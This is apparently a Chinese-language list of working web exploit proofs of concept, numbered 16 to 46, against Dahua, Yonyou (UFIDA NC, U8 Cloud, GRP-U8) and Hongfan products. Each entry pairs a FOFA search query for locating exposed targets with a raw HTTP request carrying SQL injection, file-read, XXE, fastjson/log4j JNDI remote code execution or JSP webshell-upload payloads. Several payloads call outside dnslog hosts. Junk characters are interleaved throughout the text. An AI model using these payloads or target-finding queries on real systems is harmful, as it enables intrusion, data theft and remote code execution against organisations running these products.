sec-ch-ua-platform: Windows
/ D- T2 r' p& h, H( T. bAccept-Encoding: gzip


. a- g1 k5 O: j6 T3 q: V8 |! a16.  红帆HFOffice医微云SQL注入
( ]& b2 f3 W5 m9 B5 K& ~5 {FOFA：title="HFOffice"
* l% k/ T5 B4 U. O9 H$ J7 u9 ypoc中调用函数计算1234的md5值
5 X) w6 v; ]7 x/ ?8 u0 @$ R, u+ KGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
! K$ j9 D7 u; |. eUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
' G  W: t. O  ~/ W  _9 ]Accept-Language: en
. A- o+ ^. y5 @8 B1 L! B: a6 yAccept-Encoding: gzip
! X+ z8 j: B8 ^) c8 ~; m
6 U7 Z& |1 [: [% S5 @+ Z, c
17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
- w5 h' D! i0 K+ wPOST /portal/services/itcBulletin?wsdl HTTP/1.1
9 q) j; }2 s7 T6 h" U8 Q3 GHost: x.x.x.x
  ~/ y1 @2 n6 T1 {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 345
Accept-Encoding: gzip

6 @% D0 p- b6 f- z8 F9 q: N<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
0 F& D* m! {' H. m8 q' Y" }6 b; h% G<s11:Body>
" Z) h* m1 k! s5 x: i" s5 ?9 d    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
  z4 f4 n. T1 M' S      <netMarkings>
5 B6 e( `! e/ q: b  O5 ^# s       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
& V: Z# }4 s$ }: C    </ns1:deleteBulletin>
, Z, w- G1 Y& R+ h# v% n9 T  </s11:Body>
5 {1 ~6 L6 b' K' B& \( q5 j</s11:Envelope>
# u. U- s/ V' B3 s3 ?% l7 ^1 n$ ^( B1 F

) X/ j1 f2 o" y9 i& n/ s18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
8 |+ c& D3 M& C: d: r, UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
9 u1 B0 y. p' v. c$ T+ u& _3 IAccept-Encoding: gzip, deflate
Accept: */*
4 [) Q% G+ [0 c4 A$ j" ^Connection: keep-alive
/ t& |6 I4 F  c3 ~

$ W; Z; n# J9 T! j( ~: J4 E6 b
; W. V( \) I4 X2 H8 u' m( w# v; R19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
' k5 B' ?" @* M; Y2 J, e8 x8 ^FOFA：app="dahua-DSS"
3 R; Q! t7 i' C/ vGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
: ^/ C8 M, P: e& Z- C$ {Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

. e. z- S; D. Y! E" K% C
2 I4 E. m  n: J20. 大华ICC智能物联综合管理平台任意文件读取
( Y% K0 b1 {& ~- k3 A8 R6 y( a8 |FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
% R! _# y% [3 M* sConnection: close
Accept: */*
Accept-Language: en
* H# F/ p" p& k; L- _Accept-Encoding: gzip
' b) a4 h0 q7 ~8 @6 F1 @/ Q  x

7 c! N) }4 X0 w' ^9 d+ w5 Y21. 大华ICC智能物联综合管理平台random远程代码执行
# u8 A( H6 h3 f/ C( C: N$ t) ?3 aFOFA：icon_hash="-1935899595"
5 y6 P# Z' R* Q7 P0 OPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
9 n$ G; |2 g: E5 b$ o- {$ G% mHost: x.x.x.x
, Q% h+ m6 \2 h+ \  dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
Accept-Encoding: gzip
) ~  X5 N/ E7 HConnection: close
. v; x  Y* o% @6 Q* C8 n& R* uContent-Type: application/json;charset=utf-8

{
"a":{
9 K/ B5 W  l5 U  A   "@type":"com.alibaba.fastjson.JSONObject",
7 ]% u1 q- C1 x" o5 f  i    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
* u. P# O) i, A$ G- g; H}
5 w! ]0 K7 k0 _* z$ _( d
8 `+ y, e' Y" N' W' w  n
5 C- n* S: M4 S" `0 u: }3 f2 n22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
2 V3 }; |+ K+ }( U/ AHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
+ p) ~  d4 x8 R4 N" j! UContent-Type: application/json;charset=utf-8
7 y4 W  ?% E0 B# Y4 N/ f0 m: ]% C
{
3 @& \  _; e, |"loginName":"${jndi:ldap://dnslog}"
. I( J8 j0 S. y}



8 C, B( `7 r5 }: P. d' t23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close

, I$ _8 \  ~# X# `, I7 B{
    "a":{
( ]  I/ \3 ]! l) L6 K; J4 i% O        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
. K" f7 Q1 b+ a$ T% w* y( ]}
3 f/ u4 J* _# J0 ?8 t3 F) I

24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
: i( }1 b, [  b( UHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
Accept: */*
5 H4 D8 f0 _" I; ^3 {4 B5 CAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
& n( y" K! \! ^% Q3 a/ z; ?
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain
+ G+ q" J! i9 F& `& W: Z
<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
) _7 \% F2 D$ K& l7 p* ~7 m) Y# AContent-Disposition: form-data; name="fname"

& O* @- X% r( @1 C+ ~\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
. i7 \6 K* Q' V* R/ W) D/ \-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
! \3 w9 r1 p4 I: ^) O
/ G1 h5 ?. P- y8 D3 O4 }
! ?) c. Q$ J: [25. 用友NC registerServlet JNDI 远程代码执行
9 [/ m/ V' I+ C, {2 X% xFOFA：app="用友-UFIDA-NC"
, J( E2 V4 [& e; I  T# M! kPOST /portal/registerServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
7 K) [* G3 W/ YAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
% c: R8 c  V& C+ W5 |- RContent-Type: application/x-www-form-urlencoded

type=1&dsname=ldap://dnslog



26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
/ o7 R3 s( n3 v$ jGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
. v& ^7 @5 J' V# E$ k- L+ g9 |Host: your-ip
% V- t* u1 X' f/ w( j" e6 WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
: d7 L( h! H3 h! q( eAccept: */*
) F" R3 a- ]6 ZConnection: keep-alive


7 a5 l; Q) x% T7 y27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
0 W8 i8 c+ K+ z, _3 s* h! j$ D9 aGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
% |  c, W$ Y( ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
( p' Y( |7 ^2 _Accept-Encoding: identity
! Q7 R6 y- X9 h% J* }# T5 fConnection: close
Content-Type: text/xml; charset=utf-8


% R: Q' o0 [9 m( C& x; d28. 用友NC grouptemplet 任意文件上传
2 V: h3 a& K( O3 O, B/ `" BFOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
4 ?  M/ A4 ]1 y8 y/ Z) xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
9 _) S+ Y0 f1 r  c0 }Accept-Encoding: gzip

# p0 Y- ^' T; g1 ]( y0 g% f) }# A------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
# l& Z) @4 N! h& C1 MContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
- C2 G! x1 j  t; D2 s# J3 `( WContent-Type: application/octet-stream

% O4 v3 m- Y7 j3 j+ S. [  Q<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
3 g. o; [" i  R3 U6 m; X------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
( `5 S& I. i0 A
5 p5 c( Z# ^+ ~) w! M! l/ N' _: L: `
/uapim/static/pages/nc/head.jsp

29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
2 E: T4 N1 i0 l: s7 H) e" d& BHost: your-ip
: K8 _0 C+ m$ z0 p% G3 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
3 a( U$ O& m  ?0 n7 a" MAccept: */*
Connection: keep-alive
- f( v7 b. E+ Z! B

30. 用友NC importPml SQL注入
" A8 V2 }1 _& l5 l8 i, I( k1 Y- O& MFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
, Z0 y/ w+ p! K% c7 r3 w4 x$ FPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
( ^4 m4 n! \& ~8 {( x5 r- KHost: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
4 ^6 }# R, P/ Q' i; N( g+ b7 nConnection: close

$ B+ T/ O4 Y* F$ L# V+ ^------WebKitFormBoundaryH970hbttBhoCyj9V
% J7 M9 ^/ W, d$ i. U  {. jContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--

( c0 S, G* W- g* y8 p( B  U
31. 用友NC runStateServlet SQL注入
version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
8 q; @2 c- [0 q; A% }' EHost: host
) X3 _  q) Z* V9 V2 y! {! F- \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
& P! C/ o! F7 ^

32. 用友NC complainbilldetail SQL注入
% y! y! o; n- ]) e, {: J. {4 jversion= NC633、NC65
/ J$ ?; Z5 X% o" b: g7 YFOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
- A: P8 {6 Q' i) CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  x6 q: W1 s. k1 P2 j6 T! KContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
; L9 @6 v, L1 u. b0 V2 QAccept: */*
0 W/ R1 Q8 B/ Z2 D! ], @Connection: keep-alive

$ b# n6 N0 _6 d1 e9 ~' ]
33. 用友NC downTax/download SQL注入
9 c6 M/ k; O  i& q  @8 o3 Jversion：NC6.5FOFA：app="用友-UFIDA-NC"
' j1 {" \, p5 V* w$ B/ yGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
) a( X. x2 B$ J! N5 Y, {3 D! T; SHost: your-ip
' ?- i- ~$ ]5 K( l. Q1 NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
% ^! N6 F0 ~. \, [3 v2 YContent-Type: application/x-www-form-urlencoded
3 v! a" K9 j( b" C  Z; x2 oAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
/ _* X# g$ a! j3 D

" h& _# V6 \& F34. 用友NC warningDetailInfo接口SQL注入
2 _3 x" S3 X) z, G7 rFOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
9 b' j3 b+ \: p" P5 [2 ^% HHost: your-ip
! ^# `# }+ `) m8 IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
2 d4 w# I6 M' T" zAccept: */*
Connection: keep-alive


35. 用友NC-Cloud importhttpscer任意文件上传
6 f6 p3 _  G, iFOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
" e+ a7 @, O+ o: EHost: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
3 r3 t, s& z3 m, p7 N! KAccept-Encoding: gzip, deflate
Accept: */*
6 V) n5 ?9 h- X  jConnection: close
, X" D4 j# G0 FaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
( P/ g2 l0 l0 R4 l" f- xContent-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

( d/ f) F$ I( I: A, d$ i--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
3 p( B2 z! h% g6 i3 i
<%out.println(1111*1111);%>
' f7 t& M( D* A) d/ m) T--fd28cb44e829ed1c197ec3bc71748df0--
% ~* s: N3 N" E  x

( }- a! i" u1 o/ S" ?% t2 k36. 用友NC-Cloud soapFormat XXE
: s; a/ ^6 o2 j4 K$ y- u. l7 ~FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
+ B: ~1 M8 v! c2 _1 q% GHost: 192.168.40.130:8989
! K7 \2 O1 W: M0 J1 NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 G) D3 P4 k' R( a" P1 ?Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 n  P* L0 Z5 h7 b; y3 T9 J, v" M% BConnection: close
Content-Type: application/x-www-form-urlencoded
3 u  [; m; I3 c; I% f0 OUpgrade-Insecure-Requests: 1
1 @$ l1 J# L- i- M% l; @3 m9 u& k
5 H3 h6 O' ?; P6 i, S+ \* [5 omsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
) u7 j# j# o" }1 W% r" t* q& Z) ~
5 }6 @& S9 C8 m: @, [
37. 用友NC-Cloud IUpdateService XXE
2 X% |# d" j1 q8 f; A: oFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
8 l$ E' N# s; N5 m* G' R( o( l- M* GHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
2 }8 J0 p, Q7 j8 BContent-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
5 B& U' ~8 C% W! V& uAccept-Encoding: gzip, deflate
$ z& F( u) Z  y  S$ Y& eAccept-Language: zh-CN,zh;q=0.9
8 @2 L! G! d# ?+ bConnection: close
, b7 ?9 {$ G/ I8 Q7 i, D1 m; S$ oContent-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
* j: n$ {3 B$ h+ v1 T, kUpgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
5 d9 P4 h2 l# r. B; b/ ~<soapenv:Header/>
: y  @1 s1 s1 x6 N2 o3 f% j<soapenv:Body>
<iup:getResult>
& _' N4 P- G# k( C+ K. b<!--type: string-->
<iup:string><![CDATA[
. p2 @( S% W/ R5 E2 ?3 N% @+ P<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
- Z1 z0 @; p& K5 E7 d1 X: Y- F<xxx/>]]></iup:string>
</iup:getResult>
9 H# D/ p' S$ x( f3 C4 o" q; R</soapenv:Body>
' s' G) C( W: k</soapenv:Envelope>
5 Z' s' B+ V+ e9 V! M9 A
# `/ K5 v; a: c/ Q1 ~
$ m" }+ ~3 I9 W6 r- h$ w
38. 用友U8 Cloud smartweb2.RPC.d XXE
3 U2 e) S: g1 tFOFA：app="用友-U8-Cloud"
5 ]* t) l, u6 c2 n2 i- H3 ]0 U- bPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
% a- G& Q$ L" S" }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
; m9 F7 h. [8 I; G9 ?Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
2 t4 }8 g' T' q/ wConnection: close
Content-Type: application/x-www-form-urlencoded

__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
5 Y, T7 s' T6 I% b
  v+ S& ^$ X! R$ u' c+ r2 K& }
39. 用友U8 Cloud RegisterServlet SQL注入
# t* _' f3 [  ^5 ^7 X' OFOFA：title="u8c"
# H" O3 x( F) V; l' vPOST /servlet/RegisterServlet HTTP/1.1
6 e4 [; s- z, O3 THost: 192.168.86.128:8089
5 Q0 ^4 J5 t' @; P8 FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
Accept: */*
Accept-Language: en
: A, z. x. W, [6 D2 o  w6 qContent-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip
! ~# J1 E7 L5 D" p7 V
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--

  ^5 `8 V. a4 C) |% I
, U9 s& Z$ z* s) r* B7 T40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
; ~1 v' h0 ]: W& [Host: x.x.x.x
  k; \1 p* T% c7 b* w/ UUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
! e: M' S- @( G9 zContent-Type: text/xml
$ O1 e: K. J, GConnection: close

- }1 U% ~6 [- P% _$ D$ F1 W<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>

  P! M  N* c0 I* o
: b# N) I& x: O6 g% W( h) e, a. ]41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
! O' y7 x! ]% L" tGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
2 B/ H' U( I% {1 [Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
) p: i4 ?1 P# n$ q/ o0 t  P( lAccept-Encoding: gzip
3 ?) \& h+ W$ O8 ~% p( BConnection: close
1 z2 k  [: {! Y5 E% K  B/ n4 J
. e, a# Z8 n: F0 z
42. 用友GRP-U8 SmartUpload01 文件上传
7 h; b, `8 q0 `. i! VFOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
# J; S# x" }: B* pHost: x.x.x.x
/ k% o( t" }% y* U) l1 v3 [( BContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
5 N, ]; l' X( dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
! l* o  `; u  I/ ^% t
PAYLOAD
3 T% R& ~+ `4 h* j/ t0 L4 m1 M
% X; d2 E( t: x% x
  P) @7 M. _4 \! x& Lhttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
5 n  m' Q3 {8 H8 F- mAccept-Language: zh-CN,zh;q=0.9
Connection: close
& r  t" v" P. R# B2 B* O3 D: ASOAPAction:
& W% A' z  U( h9 R3 _7 qContent-Type: text/xml;charset=UTF-8

0 o1 `. {+ v: H# o$ G<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
4 \/ X1 ?/ y! O9 [" n   <soapenv:Body>
% ~" L1 j6 J) R) S& I      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
$ N+ ?5 @( T( A! g      </ser:getUserNameById>
   </soapenv:Body>
</soapenv:Envelope>


44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
( Y- Z8 E! C* F0 N& S+ R; `User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
0 K: b5 W  N3 a! SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- E$ E  r3 E! o: C; ^/ `0 sAccept-Encoding: gzip, deflate
. F  d  h7 K- \$ N7 HAccept-Language: zh-CN,zh;q=0.9
4 ?, c. f9 |1 g+ WConnection: close
3 O" h- M) }  A4 M2 ]% N: s( T+ W

45. 用友GRP-U8 ufgovbank XXE
$ X& H0 I( d0 R( K6 _, OFOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
9 H0 i2 \1 s9 i  H4 Q5 |9 K( x: GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
/ j  ~. g6 _& m) e% wContent-Length: 161
: J2 u  s5 \, j' o+ @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; g& f6 ~6 F# I2 K" F: X: R8 `  cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
2 i: a5 U0 _( x6 iAccept-Encoding: gzip

: t4 [8 L$ F" E- U0 }- m' I1 vreqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
3 D5 u: X9 Y! P8 Q

46. 用友GRP-U8 sqcxIndex.jsp SQL注入
: M8 i2 e# ~- u  EFOFA：app="用友-GRP-U8"
) R7 F+ O6 ]9 B4 Y6 x# XGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
- x! K6 }3 q: H, sHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
